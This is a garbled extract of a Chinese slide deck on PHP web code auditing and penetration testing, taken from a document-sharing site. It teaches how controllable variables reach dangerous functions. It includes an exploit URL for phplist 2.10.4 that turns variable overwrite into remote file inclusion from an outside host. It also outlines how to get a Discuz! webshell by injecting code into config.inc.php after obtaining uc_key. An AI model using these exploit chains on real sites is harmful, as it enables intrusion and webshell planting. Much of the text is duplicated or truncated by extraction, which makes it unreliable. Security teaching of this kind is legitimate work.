《WEB代码审计与渗透测试》由会员分享,可在线阅读,更多相关《WEB代码审计与渗透测试(39页珍藏版)》请在金锄头文库上搜索。
1、WEB代码审计与渗透测试http:/2021/3/101WEB应用程序代码审计l程序的两大根本:变量与函数l漏洞现成的条件:A、可以控制的变量【一切输入都是有害的】B、变量到达有利用价值的函数危险函数【一切进入函数的变量是有害的】l漏洞的利用效果取决于最终最终函数的功能变量进入什么样的函数就导致什么要的效果2021/3/102PHP应用程序代码审计l为什么只是PHP?A、跨平台、应用广泛、复杂B、变量处理灵活如变量覆盖、全局变量等C、函数库巨大导致漏洞类型多,既有通用的又有特有的E、代码审计的思路是可以通用的2021/3/103变量变量l预定义变量常规外部提交的变量GPC$_ENV/SERVE
2、R/SESSION$HTTP_RAW_POST_DATA等lregister_globals=on未初始化的变量PHP4.20默认为offl变量覆盖未初始化及覆盖前定义的变量如:extract()、遍历初始化变量、遍历初始化变量、parse_str()等等l变量的传递与存储中转的变量存储于数据库、文件如配置、缓存文件等2021/3/104危险函数l文件包含包含漏洞l代码执行执行任意代码漏洞l命令执行执行任意命令漏洞l文件系统操作文件(目录)读写等漏洞l数据库操作SQL注射漏洞l数据显示XSS等客服端漏洞l什么样的函数导致什么样的漏洞!2021/3/105更多的变量处理与危险函数高级高级PHP应
3、用程序漏洞审核技术应用程序漏洞审核技术http:/ /经典的变量覆盖漏洞模式经典的变量覆盖漏洞模式foreach($_REQUESTas$key=$val)foreach($_REQUESTas$key=$val)$key=$val;$key=$val; ./ /覆盖覆盖$_SERVER“ConfigFile”$_SERVER“ConfigFile”,经过,经过is_file()is_file()判断后进入判断后进入include()include()if(isset($_SERVERConfigFile)&if(isset($_SERVERConfigFile)&is_fileis_file
4、($_SERVERConfigFile)($_SERVERConfigFile)print.n;print.n;includeinclude$_SERVERConfigFile;$_SERVERConfigFile;但是但是is_file()is_file()是不支持远程文件的,所以到目前代码只是一个本地包含漏洞是不支持远程文件的,所以到目前代码只是一个本地包含漏洞2021/3/1011phplist-2.10.4public_htmllistsadmincommonlibpagesimportcsv.phpphplist-2.10.4public_htmllistsadmincommonli
5、bpagesimportcsv.php.if(!isset($if(!isset($GLOBALSassign_invalid_defaultGLOBALSassign_invalid_default)$GLOBALSassign_invalid_default=$GLOBALSI18N-get(Invalid$GLOBALSassign_invalid_default=$GLOBALSI18N-get(InvalidEmail).number;Email).number;.register_shutdown_function(my_shutdown);register_shutdown_fu
6、nction(my_shutdown);require_oncerequire_once$GLOBALScoderoot$GLOBALScoderoot.structure.php;.structure.php;单独看上面的代码是没有办法提交$GLOBALS$GLOBALS变量的!但是我们结合变量的!但是我们结合/phplist-/phplist-2.10.4public_htmllistsadminindex.php2.10.4public_htmllistsadminindex.php里的变量覆盖漏洞,我们就可以提交里的变量覆盖漏洞,我们就可以提交$GLOBALS$GLOBALS变量了,那
7、么我们就可以控制变量了,那么我们就可以控制$GLOBALS“coderoot”$GLOBALS“coderoot”实现远程包含Exp:/admin/index.php?_SERVERConfigFile=./commonlib/pages/importcsv.php&GLOBALSassign_invalid_default=1&GLOBALScoderoot=http:/xx.xx.xx.xx/实现了一次完美的又本地包含转为远程包含的二次漏洞利用过程二次漏洞利用过程 2021/3/1012又一个实例:Discuz!oldver远程代码执行漏洞效果图:【实现“给我一个注射点,我给你一个shel
8、l”的目标】注射得到uc_key中.利用uc-key得到webshell代码执行2021/3/1013得到webshell的关键在于dz论坛的api借口里:api/uc.php里updateapps()对配置文件config.inc.php有读写操作2021/3/1014继续跟下updateapps()的调用:$get的处理:整过只要得到了uc_key就可以通过调用updateapps()对config.inc.php写操作了!另外updateapps()的2个参数都没有魔术引号的处理:$get=_stripslashes($get);$post=xml_unserialize(file_ge
9、t_contents(php:/input);数据流不受魔术引号限制通过$configfile=preg_replace(“/define(UC_API,s*.*?);/i”,“define(UC_API,$UC_API);”,$configfile);闭合define(UC_API,来注射我们的webshell代码2021/3/1015二次漏洞的启示l漏洞的类型是可以转换的:最终的目的是攻击效果最大化!l一切进入函数的变量是有害的:变量在传递过程任意个环节可控就可能导致漏洞!l变量传递的途径是多样的:我们的攻击思路多元化!如对于dz,去寻找可以找到uc_key的途径:sql注射、文件读取co
10、nfig.inc.php里存有uc_key、控制mysql的管理权限phpmyadmin等等2021/3/1016二次漏洞的其他应用l应用级别的“rootkit”2021/3/1017其他的因素与代码审计lphp版本与代码审计变量与函数php.ini默认设置问题php本身函数的漏洞php缺少自动升级的机制l系统特性与系统特性与代码审计包括OS:主要是文件操作web服务器:主要文件解析类型系统特性与系统特性与web安全安全http:/ 1、对于文本文件:如配置文件、缓存文件、文本数据库文件。如:、对于文本文件:如配置文件、缓存文件、文本数据库文件。如:$headersX-Forwarded-Fo
11、r=Test31425926;$headersX-Forwarded-For=Test31425926;然后通过然后通过FindstrFindstr、grepgrep等搜索特征字符等搜索特征字符Test31425926Test31425926D:Findstr/S/I/N/d:D:phprootbmb2007bmbTest31425926*.phpD:Findstr/S/I/N/d:D:phprootbmb2007bmbTest31425926*.phpD:phprootbmb2007bmb:D:phprootbmb2007bmb:datafileguest.php:2:?php/|dataf
12、ileguest.php:2:?php/|娓稿娓稿|1163859032|Test31425926?|f|0|Firefox1.5.0.8|WindowsXP|t|1163859032|Test31425926?|f|0|Firefox1.5.0.8|WindowsXP|t|当然也用于其他get、post的变量、甚至是环境变量,比如注射用户名、发帖的标题内容设置为一个特征字符2、对于数据库存储查询可以让数据库出错的字符就行比如2021/3/1026D基于白盒的fuzz二、全局变量二、全局变量主要是对于设置了主要是对于设置了register_globalsregister_globals=on=
13、on的情况下,在inlculdes的文件里设定的配置变量没有初始化的问题:那么不是所有的文件都这样的问题,我们可以先通过白盒找到这些可能出现问题的变量名,然后可以写个fuzz的脚本,列表程序目录一个一个提交探测2021/3/1027E.常用变量与函数如果通过上述一些办法都没有效果的话,那就开始正规的代码审如果通过上述一些办法都没有效果的话,那就开始正规的代码审计流程把。如简单的直接的计流程把。如简单的直接的include/requireinclude/require、evaleval、systemsystem等函数等函数2021/3/1028F高级的代码审计l寻找新的“变量与函数”l总结新的漏洞类型。如:数据库操作容易忘记的地方in()/limit/orderby/groupbyif与变量初始问题等l通过fuzz或者阅读php手册、php源代码,发现新的漏洞函数或“特性”l脚踏实地的变量跟踪l像程序员一样思考l2021/3/1029一次解放思想的渗透纯属虚构2021/3/10302021/3/10312021/3/10322021/3/10332021/3/10342021/3/10352021/3/10362021/3/10372021/3/10382021/3/1039